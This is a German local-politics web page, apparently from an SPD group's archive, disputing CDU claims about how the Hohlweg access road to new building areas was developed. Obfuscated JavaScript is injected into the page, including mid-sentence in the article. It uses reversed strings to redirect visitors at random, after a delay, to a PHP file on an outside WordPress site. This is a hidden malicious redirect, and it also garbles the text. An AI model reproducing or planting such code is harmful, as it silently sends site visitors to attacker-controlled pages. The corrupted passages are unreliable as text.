Archiv

Erschließung Hohlweg aus Sicht der SPD

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: abk )“]

In der Tagespresse und den CDU-Werbematerialien wird behauptet, dass die SPD für einen 2-spurigen Ausbau bei der Erschließung des Hohlweg war. Dies wurde durch die CDU verhindert und der kostengünstigere 1-spurige Ausbau wurde umgesetzt.
Fakt ist: Der Ausbau des Hohlweg als Zufahrtstraße zu den neuen Baugebieten (Ahornweg und zwei noch zu entwickelnde Flächen)  kam letztlich auf Initiative der SPD zustandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande. Die CDU hat sich damals vehement gegen einen  Ausbau des Hohlwegs – egal in welcher Form- ausgesprochen und entsprechend dagegen gestimmt.  Vielmehr wollte die CDU den Schwerverkehr während der Bauphase und später auch den kompletten Anliegerverkehr durch das Wohngebiet Lohkaute leiten, in dem hauptsächlich Familien mit kleinen Kindern wohnen. Nicht auszudenken welche Belastungen dies für die Anwohner der Wohngebiete bedeutet hätte. Die seinerzeit tatsächlich diskutierte 2-spurige Ausbauweise war abhängig von der Möglichkeit, den entlang des Hohlweges verlaufenden Graben zu verrohren um eine Verbreiterung der Fahrbahn zu ermöglichen. Diese Variante konnte nicht verwirklicht werden, da von Seiten der Genehmigungsbehörden hierzu keine Erlaubnis erteilt wurde. Ob der 1-spurige Ausbau langfristig gesehen ausreichend ist, wird die zukünftige Entwicklung der Wohngebiete in diesen Lagen zeigen.